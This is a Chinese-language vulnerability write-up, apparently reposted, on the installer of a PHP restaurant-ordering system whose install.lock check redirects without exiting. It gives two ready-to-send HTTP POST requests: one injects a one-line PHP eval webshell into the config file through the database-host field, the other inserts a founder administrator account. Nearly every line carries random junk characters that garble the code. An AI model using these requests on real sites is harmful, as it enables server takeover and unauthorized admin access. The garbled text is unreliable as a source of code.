问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。. q6 m+ |3 Y9 J4 e7 K5 g1 D
0 L, a# C2 W/ q/ m; i<?php
( p1 s5 n- T: z- }" T$ P# ]$ Lif(file_exists("../install.lock"))
& ]+ W3 H5 u5 o& L/ v5 j+ |1 T{; @+ T3 G, c7 \: h( X- X
header("Location: ../");//没有退出
x8 J/ B/ t+ `7 i0 k( O: z7 w}
8 q3 K* Z: `1 \$ h# u3 V" ]" j # ~; F0 C) A! r0 x2 }$ s
//echo 'tst';exit;
6 D8 o/ s6 E5 `+ U$ `$ G5 Irequire_once("init.php");* e8 a; @9 k; c. Q2 p5 [
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
E# E, R; B) ]' C* d{
~5 ]1 I: x) y# x4 L可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。4 T* h+ Y3 n5 a2 j
, S7 h* d- s* b/ N5 n2 K
1、getshell(很危险)
4 L# y2 p0 ^. [$ Lif(empty($_REQUEST['step']) || $_REQUEST['step']==1)' ?$ [. M' X k) j
{
& ^$ c3 e) f/ T8 N9 s$smarty->assign("step",1);$ p1 w4 l9 @, p+ K- s
$smarty->display("index.html");" S( Y. G, u9 g% b* x
}elseif($_REQUEST['step']==2)
: P9 a5 b$ z, Y; F/ m+ ^8 O{+ L' ~% {, E. S1 V' T
$mysql_host=trim($_POST['mysql_host']);( Z2 g( {4 U8 a: B$ | |
$mysql_user=trim($_POST['mysql_user']); ~ q) m' }0 |8 {& x
$mysql_pwd=trim($_POST['mysql_pwd']);6 K9 z& j" X. S( \& f) X' Q5 [
$mysql_db=trim($_POST['mysql_db']);) k r3 r5 E8 W4 @2 n3 ~; e' O
$tblpre=trim($_POST['tblpre']);
9 C/ X* D3 ]; ^. }! V; L3 ~) Z/ [ $domain==trim($_POST['domain']);
2 T& s2 w! \+ {& l2 f6 ? $str="<?php \r\n";# z) P, l, r, @3 P0 _, m* C
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";6 X q& Y. ^: y; q; K
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";6 h% Y# U' g% x5 i# `
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";2 t7 \& ] {& i; a3 u. w$ q U7 _' P
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";0 ]6 E4 m) [: \: k: j. y- C
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
; R# l$ P' c. z0 { $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";' i" o ~5 ~" m
$str.='define("DOMAIN","'.$domain.'");'."\r\n";# Y6 f8 t) @0 M8 k4 c7 G
$str.='define("SKINS","default");'."\r\n";$ ^) @8 k+ t; e0 C3 q9 t# u& K& g
$str.='?>';6 h: w9 g- ]( \
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件, V( C3 {8 b) i
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马- c. n5 ^3 g8 {& B' I
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
8 F6 R+ M0 b) R$ `# aHost: 192.168.80.129
' u9 ~) Y# p- f/ {- sUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0# e; \/ j- M2 ~3 x2 U! m
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
% O' E5 I1 r) ?% ]. `" u- G) iAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
- i1 V. D3 e: j2 _; i+ ~Accept-Encoding: gzip, deflate
2 E: f5 P" Y( u" FReferer: http://192.168.80.129/canting/install/index.php?step=1$ q0 }$ X4 j j) ?5 Y/ X
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
$ Z6 `6 C% y6 |( i8 O/ mContent-Type: application/x-www-form-urlencoded1 ?" s O) P8 U
Content-Length: 126( y0 r8 W) |1 I6 b6 W
6 S( U4 i9 z- a$ J1 A4 j. O
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
/ S- [! ~3 \' W9 _6 Q7 `* a3 m- C! y但是这个方法很危险,将导致网站无法运行。: G' Z! ~" v0 l2 l* K/ g. m
4 @/ H/ B" O6 ^2、直接添加管理员! g$ I& p6 E, ~( b8 ?" |; k
Q. h; x2 Q2 t" Felseif($_REQUEST['step']==5)' Q% H1 W; W! G5 a/ z
{
. B! C$ {& B! r0 v8 i if($_POST)
1 Y3 k8 x* W i { require_once("../config/config.inc.php");$ {2 a! _+ d& T [( }2 g
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
. T7 [3 r& G; W" I) S mysql_select_db(MYSQL_DB,$link);
2 G5 ?, O8 I7 x) j: H [4 q mysql_query("SET NAMES ".MYSQL_CHARSET );
& a' M( o; m8 G1 T5 Q, z3 }: J mysql_query("SET sql_mode=''");
' C: [; M/ [! P' n8 {: o" y7 e
1 c) ]# C8 Q% k) C" \# `) N2 ?, A $adminname=trim($_POST['adminname']);
, ]! y# J; P2 t/ O $pwd1=trim($_POST['pwd1']);
4 e6 P6 u( D: U $pwd2=trim($_POST['pwd2']);, E. q: {- s% a% V. K
if(empty($adminname))
- H7 X: C* ~% o: K: L' q+ W1 } {& v" x7 s2 { t! \ n) o- Y- h, z
' r4 o, k1 R+ Z8 x' h( q0 g
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
. ~/ g3 v6 C, Z2 H1 p# j6 D* l exit();
0 T$ R7 v5 ^# i }
8 g' t% S, r& p if(($pwd1!=$pwd2) or empty($pwd1)) B/ t% l/ H, n$ G
{. S9 Y, [* H; ?& T; Y. w, d }/ K
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
1 C% |) e. _1 b7 D7 B/ p9 g }) y& C$ e- A9 z8 B8 j2 x
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员3 T& w! h- L$ A* T% n
}
' H+ K4 N5 l& b% A这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:$ b4 n+ Y* m3 j8 i! P, ~
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
" F& e6 e; d1 {: ^6 S. [Host: 192.168.80.129
l I& E- c/ W- ~! P/ y7 l. b6 XUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
' Q( d% p9 |1 d# c8 o8 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8) Y$ Q/ n( M' ~
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3( K c" X( Q- X! s
Accept-Encoding: gzip, deflate# C7 y% \# T( O0 ~5 O# m# H3 x
Referer: http://www.2cto.com /canting/install/index.php?step=1! W+ `6 D5 h9 f6 _ W, g! s
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42, O: Y% |+ v& @2 Y2 a* J5 X
Content-Type: application/x-www-form-urlencoded/ ^) Q/ E: s, `
Content-Length: 464 {/ b: n0 N$ u L6 o* d
( C) G4 x1 N) y# ^
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
. `5 q b- j* R" }' F |